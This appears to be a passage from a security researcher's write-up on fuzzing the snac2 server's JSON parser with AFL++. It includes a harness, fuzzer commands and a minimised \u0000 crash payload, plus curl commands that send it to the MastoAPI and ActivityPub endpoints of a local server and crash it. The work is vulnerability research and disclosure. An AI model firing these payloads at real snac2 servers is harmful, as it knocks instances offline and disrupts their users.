Instead of manually inspecting the source code further, I've decided to employ a technique known as fuzzing in order to find inputs that may crash the parser (located in xs_json.h). If you're not familiar with fuzzing, it's essentially a method for testing code by supplying it with randomly generated inputs. In the most basic case, piping /dev/urandom to a program and waiting for it to crash is a very primitive form of fuzzing.

However, for more complex programs, just piping /dev/urandom to a program is going to be very inefficient, and will most likely take a very long time to detect some more complex patterns leading to crashes. Therefore, dedicated fuzzing programs such as AFL++ generate new inputs by using an initial corpus of valid inputs, which are continuously mutated through multiple strategies, employing a relatively complex genetic algorithm. Moreover, by employing compile-time binary instrumentation, a set of modified compilers can insert AFL-specific instructions, that can inform the fuzzer on how many functions and code paths are reached with a given input. Ultimately, this approach allows fuzzers to test as many available code paths as possible. This approach is so powerful, that even with a very trivial input corpus, AFL++ can start pulling JPEGs out of thin air when fuzzing a complete JPEG parser.

In snac2 project, I've decided to fuzz the xs_json_load function, which parses JSON data stored as a file (the fact that internally snac2 treats all data streams as FILE pointers is pretty fascinating too). In order to do that, I had to prepare a fuzzing harness - a very simple program which exposes the tested function to the fuzzer. In case of AFL++, I just needed a simple C program which reads a file path from argv[1], opens it, passes it to the parser, and then frees the result:

#include <stdio.h>

#define XS_IMPLEMENTATION
#include "xs.h"
#include "xs_json.h"


int main(int argc, char **argv) {
    if(argc < 2) return 0;

    FILE *f = fopen(argv[1], "r");

    xs_val *root = xs_json_load(f);

    if (root) {
        xs_free(root);
    }

    fclose(f);
    return 0;
}

In order to utilize AFL's binary instrumentation, I had to use a wrapped C compiler to create a binary. Assuming that we're conducting our research in a subdirectory within snac2's source tree:

afl-clang-fast -I.. fuzz_xs_json.c -o fuzz_xs_json

Afterwards, I've put a simple test case ({"company": "a", "year": 2024}) in the input directory and launched the fuzzer:

afl-fuzz -i input -o findings -- ./fuzz_xs_json @@

Within minutes, I've started seeing first crashes in findings/default/crashes directory, which I've managed to promptly confirm. Among some of the simpler detected cases, there's this one:

[
  "TSo\u0  So\uF  So\uFcccccc
Ag {

After a few minutes of tinkering, I've simplified the above test case to a much cleaner form (confirming that \u0000 is the reason behind the crash):

  ["", "dummy\u0000..........................AAAAAA

Ultimately, in order to confirm that it's a real crash, and not just something involving my fuzzing harness, I've decided to test this payload on a real, locally hosted snac2 server, by sending this to a MastoAPI endpoint (immediately crashing the server):

  curl -X POST -H "Content-Type: application/json" http://localhost:8001/api/v1/WHATEVER -d '["", "dummy\u0000..........................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

After modifying the payload a bit, I've got the server to crash with standard ActivityPub endpoints as well:

  curl -X POST -H "Content-Type: application/activity+json" http://localhost:8001 -d '["", "dummy\u0000.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", ""]'